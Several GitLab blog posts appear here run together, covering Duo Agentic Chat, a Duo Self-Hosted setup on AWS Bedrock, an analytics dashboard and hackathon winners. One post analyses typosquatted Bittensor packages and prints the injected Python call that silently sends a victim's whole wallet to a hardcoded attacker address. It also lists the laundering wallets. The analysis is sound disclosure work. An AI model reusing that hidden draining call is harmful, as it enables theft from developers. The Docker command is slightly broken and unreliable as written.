In addition to being available in a variety of IDEs, Agentic Chat is available directly within the GitLab UI for GitLab users with the Duo Pro or Enterprise add-on. Adding Agentic Chat to the GitLab UI helps make this experience more accessible to all GitLab users and easy to integrate into your workflows. To open Agentic Chat:

1. Navigate to any Group or Project in your GitLab instance.

2. Look for the GitLab Duo Chat button (typically in the top right corner).

3. Click to open the chat panel.

4. Toggle to Agentic mode (Beta) in the chat window.

Pro tip: Keep the chat panel open as you work — it maintains context and can help you across different pages and projects.

To get familiar with Agentic Chat, ask about the tools it can work with. This is like using the help command for a command-line tool.

What tools do you have access to? 

The output above shows us that Agentic Chat has access to a variety of GitLab APIs and data that will allow it to perform complex tasks across the software development lifecycle.

Issue management made easy

GitLab Duo Agentic Chat can help you keep track of issues, find specific ones, understand the status, and take actions based on conversations in these issues. Instead of navigating through pages and pages of issues, you ask Agentic Chat about the issues in a project. It will respond with high-level information about the issues, including the priority, labels, and the status of the issue.

For a specific issue, Agentic Chat will fetch the issue details, provide a concise summary, highlight recent activity, and share the goal of the issue. This is particularly helpful when you need context or updates before a meeting or are researching the issue before picking it up.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1107479358?badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="Agentic Chat UI Issue Management"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

<p></p>

You can also try more complex queries if you're looking to better understand a project overall. And once you've discovered these issues, you can make changes to them like adding labels, updating milestones, and re-organizing them.

For example, maybe you're looking for all the issues that are database- or performance-related in order to prioritize them in the next sprint. You could task Agentic Chat with the following prompt.

Analyze all issues labeled 'performance' and 'database' - group them by component and show me which ones have had the most discussion activity in the last 30 days.

Agentic Chat will respond with issues grouped by the backend and frontend component of a project, identify the issues with significant discussion activity, and provide insights on these kinds of issues (e.g., when were most of these issues created or which component issues have more active discussion).

Create an issue template for bug reports that includes:

- Steps to reproduce

- Expected behavior vs actual behavior

- Environment details (browser, OS, GitLab version)

- Severity assessment

- Screenshots/error logs section

Name it "bug_report.md" and format it as a proper GitLab issue template

CI/CD support

This is where GitLab Duo Agentic Chat truly becomes your debugging superhero. We've all been there: a pipeline fails and you have to click through job logs trying to understand what went wrong. Agentic Chat can do more than just explain the failure to you and suggest recommendations. After reviewing the failed pipeline logs, Agentic Chat can suggest a fix and also add the fix to a merge request you are working on.

Let's say you have a merge request adding a new feature, but the pipeline is failing. Instead of clicking through each failed job and trying to piece together what's wrong, you can ask Agentic Chat to investigate.

Agentic Chat will analyze the pipeline, check the job logs, and explain that the tests are failing because of missing test data or configuration issues. But here's where it gets even more powerful — you don't have to stop at understanding the problem. Agentic Chat can also act on the advice it presents and add commits to fix the pipeline in the merge request.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1107495269?badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="GitLab Agentic Chat CI/CD Fix"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

Building complex prompts

GitLab Duo Agentic Chat can also help you craft your prompts. Let's say that you're running a bug bash with your team and want to triage all possible issues that might be bug reports.

If you use a simple prompt like below, Agentic Chat will come up with ways to find the related issues, such as searching for terms or pattern matching:

I need help writing an effective prompt to find all possible bug report issues in my GitLab project, including those that might not be properly labeled as "bug".

Often you can use the recommendations in Agentic Chat to build a more in-depth prompt based on what you're looking for:

I need help writing an effective prompt to find all possible bug report issues in my GitLab project, including those that might not be properly labeled as "bug". Please help me create a prompt that will:


1. Search for common bug-related terminology beyond just the word "bug"

2. Identify patterns that indicate bug reports (like "steps to reproduce", "expected vs actual behavior")

3. Find technical issues that might be bugs (errors, crashes, performance problems)

4. Catch user-reported problems that could be bugs but use different language


The prompt should ensure we don't miss any potential bugs regardless of how they're described or labeled. What would be the most effective approach and search strategy for this?

Once you have the prompt and you're able to search for the issues you're looking for, that's where Agentic Chat really shines. Agentic Chat can triage and update those issues for you to prepare them for the bug bash:

Find and triage all bug-related issues for our bug bash event. Execute these steps:


1. Search for potential bugs using individual searches:
   - Core terms: "bug", "fix", "error", "broken", "issue", "problem", "not working"
   - Bug patterns: "steps to reproduce", "expected behavior", "regression"
   - Technical issues: "exception", "crash", "console error", "500 error", "404 error"
   - Performance: "slow", "freezes", "unresponsive"

2. For each issue found:
   - Add the "Event - Bug Bash" label
   - Assign appropriate bug severity label (critical/high/medium/low)
   - Add to the current bug bash milestone
   - If missing "bug" label, add it

3. Create a triage list organized by:
   - Critical bugs (data loss, crashes, security)
   - High priority (blocking features, frequent errors)
   - Medium priority (workarounds available)
   - Low priority (minor UI issues)

Search both open and closed issues. Focus on actionable bugs that can be fixed during the bug bash, excluding enhancement requests. Provide a summary table with issue numbers, titles, and assigned severity for the bug bash team.

You can ask Agentic Chat to create a bug report template, which increases efficiency and eliminates some manual effort. Also, future bug reports will have the structure and labels you need for more efficient triaging.

Tips for effective prompting

When you're working with GitLab Duo Agentic Chat, it's important to phrase your requests with action-oriented verbs like "create," "update," "fix," or "assign." This will trigger the agentic tools to take action rather than summarize or share information with you. One approach before taking agentic actions can be to request summaries and analyses — the way we did with the issues about bugs. Then, see what gets returned before taking actions like applying a label or adding to a milestone.

It's also important to give clear criteria when asking for bulk operations. Specify exact conditions like "all issues with the 'bug' label created in the last week" or "merge requests waiting for review for more than 3 days." The more specific you are, the more accurate and helpful the results will be.

Since Agentic Chat has the ability to maintain context, you can chain requests and build on previous requests. After getting an initial set of issues, you might ask "From those issues, which ones are unassigned?" and then follow up with "Assign the high-priority ones to the backend team." This allows you to refine and act on information iteratively.

We recommend starting with an open-ended request and allowing GitLab Duo to help you look for patterns or similar problems across your project. That will help you catch any problem that you may have missed or understand the scope of the challenge before taking action.

Get hands-on with GitLab Duo Agentic Chat

We hope all the ideas above give you some thoughts on getting started with Agentic Chat, but we are even more excited to see all our users' ideas come to life with it. To try the Agentic Chat UI experience in your next project, sign up for a free trial of GitLab Ultimate with Duo Enterprise. You can learn more about GitLab Duo Agentic Chat on our documentation page, which also details how to enable Agentic Chat in the GitLab UI.

In this article, we'll walk through the implementation of GitLab Duo Self-Hosted models. This comprehensive guide helps organizations needing to meet strict data sovereignty requirements while still leveraging AI-powered development. The focus is on using models hosted on AWS Bedrock rather than setting up an LLM serving solution like vLLM. However, the methodology can be applied to models running in your own data center if you have the necessary capabilities.

Why GitLab Duo Self-Hosted?

GitLab Duo Self-Hosted allows you to deploy GitLab's AI capabilities entirely within your own infrastructure, whether that's on-premises, in a private cloud, or within your secure environment.

Key benefits include:

• Complete Data Privacy and Control: Keep sensitive code and intellectual property within your security perimeter, ensuring no data leaves your environment.

• Model Flexibility: Choose from a variety of models tailored to your specific performance needs and use cases, including Anthropic Claude, Meta Llama, Mistral families, and OpenAI GPT families.

• Compliance Adherence: Meet regulatory requirements in highly regulated industries where data must remain within specific geographical boundaries.

• Customization: Configure which GitLab Duo features use specific models to optimize performance and cost.

• Deployment Flexibility: Deploy in fully air-gapped environments, on-premises, or in secure cloud environments.

Architecture overview

The GitLab Duo Self-Hosted solution consists of three core components:

1. Self-Managed GitLab instance: Your existing GitLab instance where users interact with GitLab Duo features.

2. AI Gateway: A service that routes requests between GitLab and your chosen LLM backend.

3. LLM backend: The actual AI model service, which, in this article, will be AWS Bedrock.

Note: You can use another serving platform if you are running on-premises or using another cloud provider.

Prerequisites

Before we begin, you'll need:

• A GitLab Premium or Ultimate instance (Version 17.10 or later)

  • We strongly recommend using the latest version of GitLab as we continuously deliver new features.

• A GitLab Duo Enterprise add-on license

• AWS account with access to Bedrock models or your API key and credentials needed to query your LLM Serving model

Note: If you aren't a GitLab customer yet, you can sign up for a free trial of GitLab Ultimate, which includes GitLab Duo Enterprise.

Implementation steps

1. Install the AI Gateway

The AI Gateway is the component that routes requests between your GitLab instance and your LLM serving infrastructure — here that is AWS Bedrock. It can run in a Docker image. Follow the instructions from our installation documentation to get started.

For this example, using AWS Bedrock, you also must pass the AWS Key ID and Secret Access Key along with the AWS region.

AIGW_TAG=self-hosted-v18.1.2-ee`

docker run -d -p 5052:5052 \

  -e AIGW_GITLAB_URL=<your_gitlab_instance> \

  -e AIGW_GITLAB_API_URL=https://<your_gitlab_domain>/api/v4/ \

  -e AWS_ACCESS_KEY_ID=$AWS_KEY_ID

  -e AWS_SECRET_ACCESS_KEY=$AWS_SECRET_ACCESS_KEY \

  -e AWS_REGION_NAME=$AWS_REGION_NAME \

registry.gitlab.com/gitlab-org/modelops/applied-ml/code-suggestions/ai-assist/model-gateway:$AIGW_TAG \

Here is the AIGW_TAG list.

In this example we use Docker, but it is also possible to use the Helm chart. Refer to the installation documentation for more information.

2. Configure GitLab to access the AI Gateway

Now that the AI gateway is running, you need to configure your GitLab instance to use it.

• On the left sidebar, at the bottom, select Admin.

• Select GitLab Duo.

• In the GitLab Duo section, select Change configuration.

• Under Local AI Gateway URL, enter the URL for your AI gateway and port for the container (e.g., https://ai-gateway.example.com:5052).

• Select Save changes.

3. Access models from AWS Bedrock

Next, you will need to request access to the available models on AWS Bedrock.

• Navigate to your AWS account and Bedrock.

• Under Model access, select the models you want to use and follow the instructions to gain access.

You can find more information in the AWS Bedrock documentation.

4. Configure the self-hosted model

Now, let's configure a specific AWS Bedrock model for use with GitLab Duo.

• On the left sidebar, at the bottom, select Admin.

• Select GitLab Duo Self-Hosted.

• Select Add self-hosted model.

• Fill in the fields:

  • Deployment name: A name to identify this model configuration (e.g., "Mixtral 8x7B")
  • Platform: Choose AWS Bedrock
  • Model family: Select a model, for example here "Mixtral"
  • Model identifier: bedrock/model-identifier from the supported list.

• Select Create self-hosted model.

5. Configure GitLab Duo features to use your self-hosted model

After configuring the model, assign it to specific GitLab Duo features.

• On the left sidebar, at the bottom, select Admin.

• Select GitLab Duo Self-Hosted.

• Select the AI-powered features tab.

• For each feature (e.g., Code Suggestions, GitLab Duo Chat) and sub-feature (e.g., Code Generation, Explain Code), select the model you just configured from the dropdown menu.

For example, you might assign Mixtral 8x7B to Code Generation tasks and Claude 3 Sonnet to the GitLab Duo Chat feature.

Check out the requirements documentation to select the right model for the use case from the models compatibility list per Duo feature.

Verifying your setup

To ensure that your GitLab Duo Self-Hosted implementation with AWS Bedrock is working correctly, perform these verification steps:

1. Run the health check

After running the health check of your model to be sure that it’s up and running, Return to the GitLab Duo section from the Admin page and click on Run health check. This will verify if:

• The AI gateway URL is properly configured.

• Your instance can connect to the AI gateway.

• The Duo Licence is activated.

• A model is assigned to Code Suggestions — as this is the model used to test the connection.

If the health check reports issues, refer to the troubleshooting guide for common errors.

2. Test GitLab Duo features

Try out a few GitLab Duo features to ensure they're working:

• In the UI, open GitLab Duo Chat and ask it a question.

• Open the web IDE

  • Create a new code file and see if Code Suggestions appears.
  • Select a code snippet and use the /explain command to receive an explanation from Duo Chat.

3. Check AI Gateway logs

Review the AI gateway logs to see the requests coming to the gateway from the selected model:

In your terminal, run:

docker logs <ai-gateway-container-id>

Optional: In AWS, you can activate CloudWatch and S3 as log destinations. Doing so would enable you to see all your requests, prompts, and answers in CloudWatch.

Warning: Keep in mind that activating these logs in AWS logs user data, which may not comply with privacy rules.

And here you have full access to using GitLab Duo's AI features across the platform while retaining complete control over the data flow operating within the secure AWS cloud.

Next steps

Selecting the right model for each use case

The GitLab team actively tests each model's performance for each feature and provides tier ranking of model's performance and suitability depending on the functionality:

• Fully compatible: The model can likely handle the feature without any loss of quality.

• Largely compatible: The model supports the feature, but there might be compromises or limitations.

• Not compatible: The model is unsuitable for the feature, likely resulting in significant quality loss or performance issues.

As of this writing, most GitLab Duo features can be configured with Self Hosted. The complete availability overview is available in the documentation.

Going beyond AWS Bedrock

While this guide focuses on AWS Bedrock integration, GitLab Duo Self-Hosted supports multiple deployment options:

1. On-premises with vLLM: Run models locally with vLLM for fully air-gapped environments.

2. Azure OpenAI Service: Similar to AWS Bedrock, you can use Azure OpenAI for models like GPT-4.

Summary

GitLab Duo Self-Hosted provides a powerful solution for organizations that need AI-powered development tools while maintaining strict control over their data and infrastructure. By following this implementation guide, you can deploy a robust solution that meets security and compliance requirements without compromising on the advanced capabilities that AI brings to your software development lifecycle.

For organizations with stringent security and compliance needs, GitLab Duo Self-Hosted strikes the perfect balance between innovation and control, allowing you to harness the power of AI while keeping your code and intellectual property secure within your boundaries.

Would you like to learn more about implementing GitLab Duo Self-Hosted in your environment? Please reach out to a GitLab representative or visit our documentation for more detailed information.

Our investigation began when GitLab's automated package monitoring system flagged suspicious activity related to popular Bittensor packages. We discovered multiple typosquatted variations of legitimate Bittensor packages, each designed to steal cryptocurrency from unsuspecting developers and users.

The identified malicious packages were all published within a 25-minute window on August 6, 2025:

• bitensor@9.9.4 (02:52 UTC)
• bittenso-cli@9.9.4 (02:59 UTC)
• qbittensor@9.9.4 (03:02 UTC)
• bitensor@9.9.5 (03:15 UTC)
• bittenso@9.9.5 (03:16 UTC)

All packages were designed to mimic the legitimate bittensor and bittensor-cli packages, which are core components of the Bittensor decentralized AI network.

Technical analysis: How the theft occurs

Our analysis revealed a carefully crafted attack vector where the attackers modified legitimate staking functionality to steal funds. The malicious packages contain a hijacked version of the stake_extrinsic function in bittensor_cli/src/commands/stake/add.py.

Where users expect a normal staking operation, the attackers inserted malicious code at line 275 that silently diverts all funds to their wallet:

result = await transfer_extrinsic(
  subtensor=subtensor,
  wallet=wallet,
  destination="5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR",
  amount=amount,
  transfer_all=True,
  prompt=False
)

This malicious injection completely subverts the staking process:

• Silent execution: Uses prompt=False to bypass user confirmation
• Complete wallet drain: Sets transfer_all=True to steal all available funds, not just the staking amount
• Hardcoded destination: Routes all funds to the attacker's wallet address
• Hidden in plain sight: Executes during what appears to be a normal staking operation

The attack is particularly insidious as users believe they're staking tokens to earn rewards, but instead, the modified function empties their entire wallet.

Why target staking functionality?

The attackers appear to have specifically targeted staking operations for calculated reasons. In blockchain networks like Bittensor, staking is when users lock up their cryptocurrency tokens to support network operations, earning rewards in return, similar to earning interest on a deposit.

This makes staking an ideal attack vector:

1. High-value targets: Users who stake typically hold substantial cryptocurrency holdings, making them lucrative victims.
2. Required wallet access: Staking operations require users to unlock their wallets and provide authentication—giving the malicious code exactly what it needs to drain funds.
3. Expected network activity: Since staking naturally involves blockchain transactions, the additional malicious transfer doesn't immediately raise suspicions.
4. Routine operations: Experienced users stake regularly, creating familiarity that breeds complacency and reduces scrutiny.
5. Delayed detection: Users might initially assume any balance changes are normal staking fees or temporary holds, delaying discovery of the theft.

By hiding malicious code within legitimate-looking staking functionality, the attackers exploited both the technical requirements and user psychology of routine blockchain operations.

Following the money

GitLab's Vulnerability Research team traced the cryptocurrency flows to understand the full scope of this operation. The primary destination wallet 5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR served as a central collection point before funds were distributed through a network of intermediary wallets.

The money laundering network

Our analysis revealed a multi-hop laundering scheme:

1. Primary collection: Stolen funds initially arrive at 5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR
2. Distribution network: Funds are quickly moved to intermediate wallets including:
   • 5HpsyxZKvCvLEdLTkWRM4d7nHPnXcbm4ayAsJoaVVW2TLVP1
   • 5GiqMKy1kAXN6j9kCuog59VjoJXUL2GnVSsmCRyHkggvhqNC
   • 5ER5ojwWNF79k5wvsJhcgvWmHkhKfW5tCFzDpj1Wi4oUhPs6
   • 5CquBemBzAXx9GtW94qeHgPya8dgvngYXZmYTWqnpea5nsiL
3. Final consolidation: All paths eventually converge at 5D6BH6ai79EVN51orsf9LG3k1HXxoEhPaZGeKBT5oDwnd2Bu
4. Cash-out endpoint: Final destination appears to be 5HDo9i9XynX44DFjeoabFqPF3XXmFCkJASC7FxWpbqv6D7QQ

The typosquatting strategy

The attackers employed a typosquatting strategy that exploits common typing errors and package naming conventions:

• Missing characters: bitensor instead of bittensor (missing 't')
• Truncation: bittenso instead of bittensor (missing final 'r')
• Version mimicking: All packages used version numbers (9.9.4, 9.9.5) that closely match legitimate package versions

This approach maximizes the chance of installation through developer typos during pip install commands and copy-paste errors from documentation.

Looking ahead: The future of supply chain security

GitLab continues to invest in proactive security research to identify and neutralize threats before they impact our community. Our automated detection system works around the clock to protect the software supply chain that powers modern development.

The swift detection and analysis of this attack demonstrate the value of proactive security measures in combating sophisticated threats. By sharing our findings, we aim to strengthen the entire ecosystem's resilience against future attacks.

Indicators of compromise

Timeline

To help our customers maximize their AI investments, we developed the GitLab Duo Analytics solution as part of our Duo Accelerator program — a comprehensive, customer-driven solution that transforms raw usage data into actionable business insights and ROI calculations. This is not a GitLab product, but rather a specialized enablement tool we created to address immediate analytics needs while organizations transition toward comprehensive AI productivity measurement.

This foundation enables broader AI transformation. For example, organizations can use these insights to optimize license allocation, identify high-value use cases, and build compelling business cases for expanding AI adoption across development teams.

A leading financial services organization partnered with a GitLab customer success architect through the Duo Accelerator program to gain visibility into their GitLab Duo Enterprise investment. Together, we implemented a hybrid analytics solution that combines monthly data collection with real-time API integration, creating a scalable foundation for measuring AI productivity gains and optimizing license utilization at enterprise scale.

The challenge: Measuring AI ROI in enterprise development

Before implementing any analytics solution, it's essential to understand your AI measurement landscape.

Consider:

• What GitLab Duo features need measurement? (code suggestions, chat assistance, security scanning)?

• Who are your AI users? (developers, security teams, DevOps engineers)?

• What business metrics matter? (time savings, productivity gains, cost optimization)?

• How does your current data collection work (manual exports, API integration, existing tooling)?

Use this stage to define your:

• ROI measurement framework

• Key performance indicators (KPIs)

• Data collection strategy

• Stakeholder reporting requirements

Sample ROI measurement framework

Step-by-step implementation guide

Important: The solution below describes an open source approach that you can deploy in your own environment. It is NOT a commercial product from GitLab that you need to purchase. You should be able download, customize, and run this solution free of charge.

Prerequisites

Before starting, ensure you have:

• Python 3.8+ installed

• Node.js 14+ and npm (for React dashboard)

• GitLab instance with Duo enabled

• GitLab API token with read permissions

• Basic terminal/command line knowledge

1: Initial setup and configuration

Let's set up the project environment by first cloning the repository.

git clone https://gitlab.com/gl-demo-ultimate-pmeresanu/gitlab-graphql-api.git
cd gitlab-graphql-api

Then, install Python dependencies.

pip install -r requirements.txt

# What this does: Sets up the Python environment with all necessary libraries for data collection and server operation.

2: Configure GitLab API access

Create a .env file in the root directory to store your GitLab credentials.

GitLab configuration

GITLAB_URL: https://your-gitlab-instance.com
GITLAB_TOKEN: your_personal_access_token
GROUP_PATH: your-group/subgroup

Data collection settings

NUMBER_OF_ITERATIONS: 20000
SERVICE_PING_DATA_ENABLED: true
GRAPHQL_DATA_ENABLED: true
DUO_DATA_ENABLED: true
AI_METRICS_ENABLED: true

What these settings control:

• GITLAB_URL: Your GitLab instance URL

• GITLAB_TOKEN: Personal access token for API authentication (needs read_api scope)

• GROUP_PATH: The group/namespace to collect data from

• Various flags control which data types to collect

3: Understanding and running data collection

The heart of the solution is the ai_raw_data_collection.py script.

This script connects to GitLab's APIs and extracts AI usage data.

What this script does:

• Connects to multiple GitLab GraphQL APIs in parallel

• Collects code suggestion events, user metrics, and aggregated statistics

• Processes data in memory-efficient chunks

• Exports everything to .csv files for dashboard consumption

Run the data collection.

python scripts/ai_raw_data_collection.py

Expected output:

 2025-08-04 11:30:45 - INFO - Starting AI raw data collection...
 2025-08-04 11:30:46 - INFO - Running 4 data collection tasks concurrently...
 2025-08-04 11:31:15 - INFO - Processed chunk 1 (1000 rows)
 2025-08-04 11:32:30 - INFO - Successfully wrote ai_code_suggestions_data_raw.csv
 2025-08-04 11:33:00 - INFO - Retrieved 500 eligible users
 2025-08-04 11:33:30 - INFO - All data collection tasks completed in 165.2 seconds

APIs used by the data collection script

1. AI usage data API (aiUsageData)

# Fetches individual code suggestion events
query: |
  {
    group(fullPath: "your-group") {
      aiUsageData {
        codeSuggestionEvents {
          event         # ACCEPTED or SHOWN
          timestamp     # When it happened
          language      # Programming language
          suggestionSize # SINGLE_LINE or MULTI_LINE
          user { username }
        }
      }
    }
  }
# Purpose: Tracks every code suggestion shown or accepted by developers

2. GitLab Self-Managed add-on users API

# Gets licensed user information
query: |
  {
    selfManagedAddOnEligibleUsers(
      addOnType: DUO_ENTERPRISE
      filterByAssignedSeat: "Yes"
    ) {
      user {
        username
        lastDuoActivityOn
      }
    }
  }
# Purpose: Identifies who has licenses and when they last used Duo

3. AI metrics API

Retrieve aggregated metrics.

query: |
  {
    aiMetrics(from: "2024-01-01", to: "2024-06-30") {
      codeSuggestions {
        shownCount
        acceptedCount
      }
      duoChatContributorsCount
      duoAssignedUsersCount
    }
  }
# Purpose: Gets pre-calculated metrics for trend analysis

4. Service Ping API (REST)

url: "{GITLAB_URL}/api/v4/usage_data/service_ping"
# Purpose: Collects instance-wide usage statistics

4: Organizing the collected data

After data collection completes, organize the CSV files.

Create monthly data directory.

mkdir -p data/monthly/$(date +%Y-%m)

Move generated CSV files.

mv *.csv data/monthly/$(date +%Y-%m)/

Generated files:

• ai_code_suggestions_data_raw.csv - Individual suggestion events
• duo_licensed_vs_active_users.csv - User license and activity data
• ai_metrics_data.csv - Aggregated metrics over time
• service_ping_data.csv - System-wide statistics

5: Configure the dashboard

Edit config.json to point to your data.

config:
  dataPath: "./data/monthly/2024-06"
  csvFiles:
    users: "duo_licensed_vs_active_users.csv"
    suggestions: "ai_code_suggestions_data_raw.csv"
  currentDataPeriod: "2024-06"

What this configures:

• Where to find the CSV data files

• Which period of data to display

6: Launch the dashboard server

The simple_csv_server.py file creates a web server that reads your CSV data and serves it through a dashboard.

What this server does:

• Reads CSV files from the configured directory
• Calculates metrics like utilization rates and costs
• Serves an HTML dashboard with charts
• Provides a JSON API for the React dashboard

Start the server.

python simple_csv_server.py

Console output:

Starting CSV Dashboard Server...
Loading data from:
   - `./data/monthly/2024-06/duo_licensed_vs_active_users.csv`
   - `./data/monthly/2024-06/ai_code_suggestions_data_raw.csv`

Dashboard should be available at: http://localhost:8080.

API endpoint at: http://localhost:8080/api/dashboard.

7: Access your analytics dashboard

Open your browser and navigate to: http://localhost:8080.

You'll see:

• License utilization: Total licensed users vs. active users (together with code suggestion analytics)

• Duo Chat analytics: Unique Duo Chat users, average Chat events over 90 days, and Chat adoption rate
• Duo engagement analytics: Categorizing Duo usage for a group of users as Power (10+ suggestions), Regular (5-9), or Light (1-4) based on usage patterns

• Usage analytics: Code suggestions by programming language (language coverage distribution), Code suggestions language performance analytics (accepted vs rejected rate)

<p></p>

• Weekly Duo Chat trends: Duo Chat usage patterns

8: (Optional) Launch the React dashboard

For a more interactive experience, you can also run the React dashboard.

Install React dependencies.

cd duo-roi-dashboard
npm install

Start the React app.

npm start

What the React dashboard provides:

• Modern, responsive UI with ,aterial design
• Real-time data refresh
• Dark mode support
• Enhanced visualizations
• Export capabilities

Putting it all together

To demonstrate the power of this integrated analytics solution, let's walk through a complete end-to-end implementation journey — from initial deployment to fully automated ROI measurement.

Start by deploying the containerized solution in your environment using the provided Docker configuration. Within minutes, you'll have both the analytics API and React dashboard running locally.

The hybrid data architecture approach immediately begins collecting metrics from your existing monthly CSV exports while establishing real-time GraphQL connections to your GitLab instance.

Automation through Python scripting

The real power emerges when you leverage Python scripting to automate the entire data collection and processing workflow. The solution includes comprehensive Python scripts that can be easily customized and scheduled.

GitLab CI/CD integration

For enterprise-scale automation, integrate these Python scripts into scheduled GitLab CI/CD pipelines. This approach leverages your existing GitLab infrastructure while ensuring consistent, reliable data collection:

# .gitlab-ci.yml example

duo_analytics_collection:
  stage: analytics
  script:
    - python scripts/enhanced_duo_data_collection.py
    - python scripts/metric_aggregations.py
    - ./deploy_dashboard_updates.sh
  schedule:
    - cron: "0 2 1 * *"  # Monthly on 1st at 2 AM
  only:
    - schedules

This automation strategy transforms manual data collection into a self-sustaining analytics engine. Your Python scripts execute monthly via GitLab pipelines, automatically collecting usage data, calculating ROI metrics, and updating dashboards — all without manual intervention.

Once automated, the solution operates seamlessly: Scheduled pipelines execute Python data collection scripts, process GraphQL responses into business metrics, and update dashboard data stores. You can watch as the dashboard populates with real usage patterns: code suggestion volumes by programming language, user adoption trends across teams, and license utilization rates that reveal optimization opportunities.

The real value emerges when you access the ROI Overview dashboard. Here, you'll see concrete enagagement metrics metrics which can be converted into business impact for your organisation — perhaps discovering that your active Duo users are generating 127% monthly ROI through time savings and productivity gains, while 23% of your licenses remain underutilized. These insights immediately translate into actionable recommendations: expand licenses to high-performing teams, implement targeted training for underutilized users, and build data-driven business cases for broader AI adoption.

Why GitLab?

GitLab's comprehensive DevSecOps platform provides the ideal baseline for enterprise AI analytics and measurement. With native GraphQL APIs, flexible data access, and integrated AI capabilities through GitLab Duo, organizations can centralize AI measurement across the entire development lifecycle without disrupting existing workflows.

The solution's open architecture enables custom analytics solutions like the one developed through our Duo Accelerator program. GitLab's commitment to API-first design means you can extract detailed usage data, integrate with existing enterprise systems, and build sophisticated ROI calculations that align with your organization's specific metrics and reporting requirements.

Beyond technical capabilities, our approach ensures you're not just implementing tools — you're building sustainable AI adoption strategies. This purpose built solution emerging from the Duo Accelerator program exemplifies this approach, providing hands-on guidance, proven frameworks, and custom solutions that address real enterprise challenges like ROI measurement and license optimization.

As GitLab continues enhancing native analytics capabilities, this foundation becomes even more valuable. The measurement frameworks, KPIs, and data collection processes established through custom analytics solutions seamlessly transition to enhanced native features, ensuring your investment in AI measurement grows with GitLab's evolving solution.

Try GitLab Duo today

AI ROI measurement is just the beginning. With GitLab Duo's capabilities you can build out comprehensive analytics. With this you're not just tracking AI usage — you're building a foundation for data-driven AI optimization that scales with your organization's growth and evolves with GitLab's expanding AI capabilities.

The analytics solution developed through GitLab's Duo Accelerator program demonstrates how customer success partnerships can deliver immediate value while establishing long-term strategic advantages. From initial deployment to enterprise-scale ROI measurement, this solution provides the visibility and insights needed to maximize AI investments and drive sustainable adoption.

The combination of Python automation, GitLab CI/CD integration, and purpose-built analytics creates a competitive advantage that extends far beyond individual developer productivity. It enables strategic decision-making, optimizes resource allocation, and builds compelling business cases for continued AI investment and expansion.

The future of AI-powered development is data-driven, and it starts with measurement. Whether you're beginning your AI journey or optimizing existing investments, GitLab provides both the platform and the partnership needed to succeed.

Get started with GitLab Duo today with a free trial of GitLab Ultimate with Duo Enterprise.

This hackathon stood out because of a unique collaborative effort, bringing together Google Cloud, MongoDB, and GitLab. The aim was to cultivate an environment for AI development by combining Google Cloud's AI and cloud tools, MongoDB's intelligent data platform for AI, and GitLab's intelligent DevSecOps platform to ship more secure software faster with AI. This partnership allowed developers to integrate these powerful tools, reflecting real-world project dynamics.

This initiative sought to propel the developer community's growth, and collaboratively shape the future of DevSecOps. GitLab's specific focus in this hackathon was to inspire the creation of AI-enabled applications leveraging both GitLab and Google Cloud. Submissions were encouraged to include contributions to GitLab's product or develop functional components for the GitLab CI/CD Catalog.

Ultimately, the AI in Action Hackathon became a vibrant stage for developer innovation. It ignited fresh ideas and equipped participants with tangible gains, including new skills, impactful projects for their portfolios, and new professional connections.

Meet the winners: AI in action with GitLab

Congratulations to all participants, and specifically to the contest winners. Here's a highlight of the projects that stood out for their deep GitLab integration.

Pipeline Doctor: Proactive health for your CI/CD "As a software engineer, I frequently run into failed GitLab pipelines, often accompanied by cryptic and overwhelming logs. Pinpointing the root cause feels like searching for a needle in a haystack. Debugging becomes even more time-consuming when I have to rely on SREs for support." - the project's author

Pipeline Doctor addresses this by using AI for advanced root cause analysis, swiftly diagnosing pipeline anomalies. It analyzes logs and changes to pinpoint errors, and could even explain security issues or predict bottlenecks. This means substantial productivity gains for developers, reclaiming time from troubleshooting to focus on new features. It also makes pipelines more reliable, aligning with goals for 80% faster CI builds and 90% less system maintenance. This project signifies a shift from reactive troubleshooting to proactive health monitoring.

A truly impressive step towards more resilient pipelines.

Agentic CICD: The future of automated DevSecOps

"What if AI agents could handle most of the DevOps workload?”- the project’s author

Agentic CICD is set to profoundly elevate DevSecOps practices by automating code reviews, suggesting intelligent fixes, and optimizing testing and deployment decisions. These agents can evaluate real-time metrics, automate releases, and even initiate rollbacks without immediate human intervention, creating a self-improving feedback loop. This approach also enhances security by proactively identifying risks. The advantages for development teams are tangible: increased productivity, consistently higher software quality, and improved operational efficiency, accelerating development cycles and time-to-market. Agentic CICD cultivates a pipeline capable of self-healing and self-optimization, amplifying developer capabilities by automating routine tasks and providing intelligent insights.

This project truly showcases the next generation of intelligent automation.

Agent Anansi: Your intelligent companion in GitLab

“As someone deeply passionate about DevOps and AI, I was frustrated by the fragmented and reactive nature of traditional CI/CD workflows. While automation is widespread, intelligence is often lacking.“ - the project's author

Agent Anansi, a name evoking the clever and resourceful spider from folklore, appears to be a versatile AI agent designed to enhance various GitLab workflows beyond the confines of CI/CD. GitLab's broader vision for AI agents includes systems that mirror familiar team roles and serve as foundational building blocks for highly customized agents. This intelligent companion is poised to enhance GitLab workflows by automating repetitive tasks like issue categorization, optimizing search functions, and performing intelligent data analysis. Similar to GitLab Duo's Chat Agent, Anansi could process natural language requests for information or debugging assistance. A compelling application could be an "AI mentor" suggesting personalized learning paths. The overall impact on collaboration and efficiency would be substantial, improving developer experience by minimizing manual tasks and reducing context-switching. It would also enhance collaboration by providing instant access to documentation and enabling direct actions through intelligent interaction. Agent Anansi functions as a personalized productivity co-pilot, moving beyond generic tool assistance to a truly personalized experience that increases individual developer efficiency and reduces cognitive load.

A fantastic example of AI making daily development work smarter and more intuitive.

The power of partnership: Google Cloud, MongoDB, and GitLab fuel innovation

